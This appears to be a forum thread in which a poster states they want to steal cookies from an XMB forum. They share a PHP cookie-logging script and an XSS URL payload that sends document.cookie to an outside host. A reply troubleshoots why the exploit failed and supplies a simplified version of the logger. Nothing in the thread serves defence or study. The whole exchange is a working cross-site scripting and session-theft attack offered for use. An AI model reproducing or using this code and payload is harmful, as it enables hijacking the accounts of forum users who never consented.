Okay, so I want to steal some cookies from an XMB forum. I've written a PHP script:
| Code: |
<?
$cook = $_GET['var'];
$wow = fopen("log.txt", 'r');
$w00t = fread($wow, filesize("log.txt"));
echo $w00t;
fclose($wow);
$neat = fopen("log.txt", 'w');
$var586 = $w00t . "\n\n" . $cook;
$cool = fwrite($neat, $var586);
fclose($neat);
?>
|
Which seems to be working fine. The problem I'm having is crafting a workable URL. I tried http://host.com/post.php?action=newthread&fid=2&message="></textarea><script>document.location='http://www.bellaire.org/stuff/cookie.php?var='%20+document.cookie;</script>
but that didn't work, it simply displayed a blank page.
Anyone know how I can do this? |

There can be many reasons to exploit failure. Like patched version of
the XMB forum. And "body onload" will not work on all browsers.
So first step is to look at "html source" at the html page, where you
trigger exploit. Look at code near the critical point and see, is there
html code with right syntax or you must modify exploit to be working.
By the way, your code can be more simple:
| Code: |
$cook = $_GET['var'];
if(!empty($cook))
{
$fh = fopen('log.txt','ab');
fwrite($fh,$cook."\n\n");
fclose($fh);
}
